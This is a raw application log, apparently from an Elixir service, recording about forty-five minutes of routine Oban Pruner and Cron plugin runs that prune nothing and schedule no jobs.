{"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.805 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:03.905 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:33.907 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.806 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:03.909 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:33.912 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.808 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:03.914 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:33.916 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.810 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:03.918 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:33.919 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.812 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:03.921 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:33.923 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.813 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:03.925 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:33.927 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.814 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:03.930 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:33.932 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.816 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:03.934 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:33.935 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.817 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:03.936 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:33.939 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.818 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:03.941 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:33.942 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.819 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:03.944 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:33.946 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.820 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:03.948 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:33.949 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.821 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:03.952 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:33.953 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.822 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:03.955 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:33.957 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.823 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:03.959 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:33.962 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.824 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:03.963 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:33.965 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.825 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:03.969 [info] {"source":"oban","duration":2454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:33.970 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.828 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:03.973 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:33.974 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.829 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:03.976 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:33.978 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.830 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:03.980 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:33.982 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.831 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:03.985 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:33.986 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.837 [info] {"source":"oban","duration":3469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:03.991 [info] {"source":"oban","duration":3769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:33.993 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.838 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:03.995 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:33.997 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.839 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:04.000 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:34.002 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.840 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:04.005 [info] {"source":"oban","duration":2266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:34.008 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.841 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:04.010 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:34.012 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.842 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:04.022 [info] {"source":"oban","duration":9567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:34.024 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.843 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:04.026 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:34.027 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.846 [info] {"source":"oban","duration":2784,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:04.030 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:34.031 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.848 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:04.034 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:34.036 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.849 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:04.038 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:34.040 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.850 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:04.049 [info] {"source":"oban","duration":8381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:34.050 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.854 [info] {"source":"oban","duration":2346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:04.053 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:34.055 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.855 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:04.058 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:34.059 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.857 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:04.061 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:34.062 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.858 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:04.064 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:34.066 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.860 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:04.073 [info] {"source":"oban","duration":5444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:34.074 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.861 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:04.076 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:34.078 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.862 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:04.080 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:34.082 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.863 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:04.083 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:34.087 [info] {"source":"oban","duration":2290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.865 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:04.090 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:34.093 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.866 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:04.097 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:34.098 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.868 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:04.099 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:34.101 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.869 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:04.103 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:34.106 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.870 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:04.108 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:34.109 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.872 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:04.111 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:34.112 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.873 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:04.116 [info] {"source":"oban","duration":2163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:34.118 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0}